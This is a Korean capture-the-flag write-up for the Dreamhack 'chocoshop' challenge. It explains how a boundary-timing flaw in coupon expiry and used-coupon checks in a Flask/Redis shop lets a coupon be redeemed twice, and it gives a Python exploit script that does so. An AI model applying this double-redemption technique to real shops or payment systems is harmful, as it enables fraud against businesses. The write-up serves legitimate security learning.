[Dreamhack] Level 3: chocoshop

1. 문제 

https://dreamhack.io/wargame/challenges/106

chocoshop

 

드림이는 빼빼로데이를 맞아 티오리제과에서 빼빼로 구매를 위한 쿠폰을 받았습니다.
하지만 우리의 목적은 FLAG! 그런데 이런, FLAG는 너무 비싸 살 수가 없네요...
쿠폰을 여러 번 발급받고 싶었는데 이것도 불가능해요. 내부자 말에 의하면 사용된 쿠폰을 검사하는 로직이 취약하다는데,
드림이를 도와 FLAG를 구매하세요!

2. 해결 과정

secret.py

from os import urandom
JWT_SECRET = urandom(32)
try:
    FLAG = open('flag.txt', 'r').read()
except:
    FLAG = 'DH{zzzzzmdfklamsdklfmasdklfmasdklfl}'

 

app.py

 

세션 유효성을 검증하는 함수

요청 헤더에서 Authorization 값을 가져오고, 없으면 None을 반환한다. 
Authorization 헤더가 없으면 BadRequest 예외를 발생시킨다. 

이후 Redis에서 세션 데이터를 가져오고, 유효성을 검사한다. 

def get_session():
    def decorator(function):
        @wraps(function)
        def wrapper(*args, **kwargs):
            uuid = request.headers.get('Authorization', None)
            if uuid is None:
                raise BadRequest("Missing Authorization")

            data = r.get(f'SESSION:{uuid}')
            if data is None:
                raise Unauthorized("Unauthorized")

            kwargs['user'] = loads(data)
            return function(*args, **kwargs)
        return wrapper
    return decorator

 

(세션 유효성 검사 진행 이후)

유저의 돈(user['money'])이 플래그 가격(FLAG_PRICE)보다 적은지 확인한다. 
충분한 돈이 없으면 BadRequest 예외를 발생시켜 클라이언트에게 'Not enough money' 메시지를 담은 400 Bad Request 응답을 보낸다. 

플래그 가격과 같거나, 더 크면 유저의 돈에서 플래그 가격만큼을 뺀다. 

이후 플래그 구매가 성공했음을 나타내는 JSON 응답을 반환하며, 성공 메시지에 플래그가 출력된다. 

@app.route('/flag/claim')
@get_session()
def flag_claim(user):
    if user['money'] < FLAG_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= FLAG_PRICE
    return jsonify({'status': 'success', 'message': FLAG})

 

유저의 돈을 확인하는 로직 수행 (flag_claim()과 동일)

구매에 성공하면, 요청이 성공했음을 나타내는 JSON 응답을 반환한다. 

@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
    if user['money'] < PEPERO_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= PEPERO_PRICE
    return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})

 

문제에서 취약하다고 제시한 쿠폰과 관련된 코드이다. 

쿠폰 제출 

• 먼저 요청 헤더에서 coupon값을 확인한다. 
  • 헤더에 값이 존재하면 jwt.decode를 사용하여 coupon 값을 디코드한다. (HS256 사용- JWT 토큰 암호화 알고리즘)
• 쿠폰 만료 시간 확인: 현재의 시간이 만료시간보다 큰지(Bad Request) 검증한다.
• 레이트 리미트 확인: 사용자가 일정 시간 내에 여러 번 쿠폰을 제출하는 것을 방지한다. 
  • Redis의 setnx를 사용하여 레이트 리미트 키를 설정하고, 키가 설정되면 만료 시간을 설정한다. 
  • 키가 이미 존재하면 BadRequest 예외를 발생시킨다. 
• 쿠폰 중복 제출 확인 : 쿠폰의 중복 제출을 방지한다. 
  • Redis의 setnx를 사용하여 쿠폰 사용 여부를 확인하고, 이미 사용된 쿠폰이면 BadRequest 예외를 발생시킨다. 
  • 쿠폰이 유효하면 사용자의 uuid와 쿠폰의 user가 일치하는지 확인한다.
  • 쿠폰의 만료 시간에 따라 쿠폰 키의 만료 시간을 설정합니다.
  • 사용자의 돈을 쿠폰 금액만큼 증가시킵니다.
  • 세션 데이터를 갱신합니다.
  • 성공적인 응답을 반환합니다.

@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")


    used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')

 

쿠폰 요청 및 발급 

• user 객체에서 coupon_claimed 속성을 확인
• 새로운 쿠폰 UUID를 생성 (hex)
  • 쿠폰 데이터에 UUID, 사용자 UUID, 쿠폰 금액(1000), 만료 시간(현재 시간 + 쿠폰 만료 시간)을 포함한다. 
• 사용자 정보 업데이트
  • 사용자의 UUID를 저장하고, coupon_claimed 속성을 True로 설정하여 사용자가 쿠폰을 클레임했음을 표시
• 쿠폰 인코딩
  • 쿠폰 데이터를 JWT를 사용하여 인코딩한다. 
  • 인코딩된 쿠폰을 UTF-8 문자열로 디코딩하여 coupon 변수에 저장한다. 
• 세션 데이터 업데이트
  • Redis에서 세션 데이터를 업데이트한다. 
  • 세션 키는 SESSION:{uuid} 형식이고, 갱신된 사용자 데이터를 저장하며, 만료 시간은 10분으로 설정합니다.

@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})

 

• 새로운 세션을 생성
  • UUID를 생성하여 세션을 식별
  • 초기 세션 데이터를 Redis에 저장
  • 세션 ID를 클라이언트에 반환
• /me: 현재 세션의 사용자 정보를 반환

@app.route('/session')
def make_session():
    uuid = uuid4().hex
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
        {'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
    return jsonify({'session': uuid})


@app.route('/me')
@get_session()
def me(user):

 

 

문제 페이지에 접속해보면 세션을 발급받는 페이지가 나온다. 

세션을 발급받으면 오른쪽 위에 세션키가 표시되고, shop과 mypage 페이지를 이용할 수 있다. 

 

coupon_claimed는 false로 되어있고, money는 0, uuid에는 토큰값이 들어있다. 

 

 

shop 페이지에서는 빼빼로와 flag를 구매할 수 있도록 되어있다. 

mypage에서 쿠폰을 발급받고 제출할 수 있다. 

쿠폰을 submit하니 돈이 1000파운드가 추가되었다. 

세션에서 또한 claimed는 true로, money는 1000으로 바뀌었다. 

하지만 해당 금액으로는 빼빼로와 플래그 모두 구입하지 못한다. 

 

한 번 더 쿠폰을 요청하게 되면 쿠폰의 중복 요청이 탐지되어 400 응답을 받는다. 

문제에서는  사용된 쿠폰을 검사하는 로직이 취약하다고 제시되어있다. 

즉, claim 한 쿠폰을 여러 번 submit할 수 있도록 익스플로잇할 수 있을 것 같다고 생각하였다. 

 

중복으로 submit을 해보니 10초에 한 번씩 submit할 수 있다는 alert창이 뜬다. 

따라서 10초를 지난 뒤,  submit을 해보면 쿠폰이 만료된다.

 

코드를 확인해보면 claim한 시간에서 +45초가 되면 쿠폰이 만료된다는 것을 알 수 있다. 

 

따라서 10초~45초 사이에 쿠폰을 재제출하게 해보면 이미 제출된 쿠폰이라고 뜬다. 

used_coupon의 값을 확인하여 쿠폰이 만료되기 전, 다시 submit이 되면 400응답을 보여준다. 

 

정리해보면, 

• 쿠폰은 한 번만 claim 할 수 있다. 
• claim한 쿠폰은 45초가 지나면 만료된다. (submit 불가능)
• claim한 쿠폰을 한 번 submit하면 used_coupon 키가 생성된다. 
• used_coupon 키값이 존재하는 쿠폰은 재사용이 불가능하다.
• used_coupon 키값 또한 최대 45초 이후 만료된다. (만료시간 - 현재 지난 시간)
  
  • used_coupon 키값이 존재하면 coupon은 submit할 수 없다. 
• submit은 최소 10초의 간격을 두고 진행해야 한다. 

이 때, 만료(expiration)에 대해서 코드를 잘 살펴보면, 이상한 점이 2가지가 있다.

1. 쿠폰 만료 여부를 확인하는 if문을 보면 오직 클 경우에 대해서만 만료로 처리하고 있다.
2. expiration에 대한 검증이 순차적으로 진행이 되고 있다는 것이다.

이때 중요한 것은 time()함수는 현재 시간을 초 단위로 반환하기 때문에 모든 시간을 45초와 46초로 구분할 것이다.  그렇다면, 딱 45초인 경우에 만료 여부를 확인하는 if문을 수행하면 만료 여부 확인 if문을 넘어갈 수 있으며, 이후에는 45초가 아주 약간 지났으므로 used_coupon의 키값은 사라져 사용하지 않은 쿠폰이 되는 것이다. 

 45초보다 작을 때에는 다음 if문을 실행시키겠지만, 45초와 46초(초 단위로 비교했을 때 더 큰 값) 사이에 존재하는 경우  used_coupon 값을 확인할 때에는 used_coupon값은 만료되어 재생성될 것이다.  

따라서 45초에서 46초로 완전히 넘어가는 그 사이의 시간을 공략하면 쿠폰을 재사용해볼 수 있을 것이라고 생각하였다. 

 

익스플로잇 코드

import requests
import json
import time

# 문제 페이지 URL과 세션 ID 설정
url = "http://host3.dreamhack.games:20597/"
session_id = "902c55c35edb4508b4b2b38f2921a745"

def claim_coupon(session):
    headers = {"Authorization": session}
    response = requests.get(url + "coupon/claim", headers=headers)
    if response.status_code == 200:
        coupon = json.loads(response.text)["coupon"]
        print("Coupon claimed successfully")
        print("Coupon:", coupon)
        return coupon
    else:
        raise Exception("Failed to claim coupon")

def submit_coupon(session, coupon):
    headers = {"Authorization": session, "coupon": coupon}
    
    # 첫 번째 쿠폰 제출
    response = requests.get(url + "coupon/submit", headers=headers)
    print("First coupon submit response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to submit first coupon")

    #  45초 대기
    print("Waiting for exactly 45 seconds...")
    time.sleep(45)
    
    # 두 번째 쿠폰 제출
    response = requests.get(url + "coupon/submit", headers=headers)
    print("Second coupon submit response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to submit second coupon")

def claim_flag(session):
    headers = {"Authorization": session}
    response = requests.get(url + "flag/claim", headers=headers)
    print("Flag claim response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to claim flag")
    return response.text

if __name__ == "__main__":
    try:
        
        session = session_id

        # 쿠폰 클레임
        coupon = claim_coupon(session)

        # 쿠폰 1차 및 2차 제출
        submit_coupon(session, coupon)

        # 플래그 구매
        flag = claim_flag(session)
        print("Flag:", flag)
    except Exception as e:
        print("An error occurred:", str(e))

 

플래그 획득 성공

 

틀린 내용이 있다면 댓글로 알려주세요!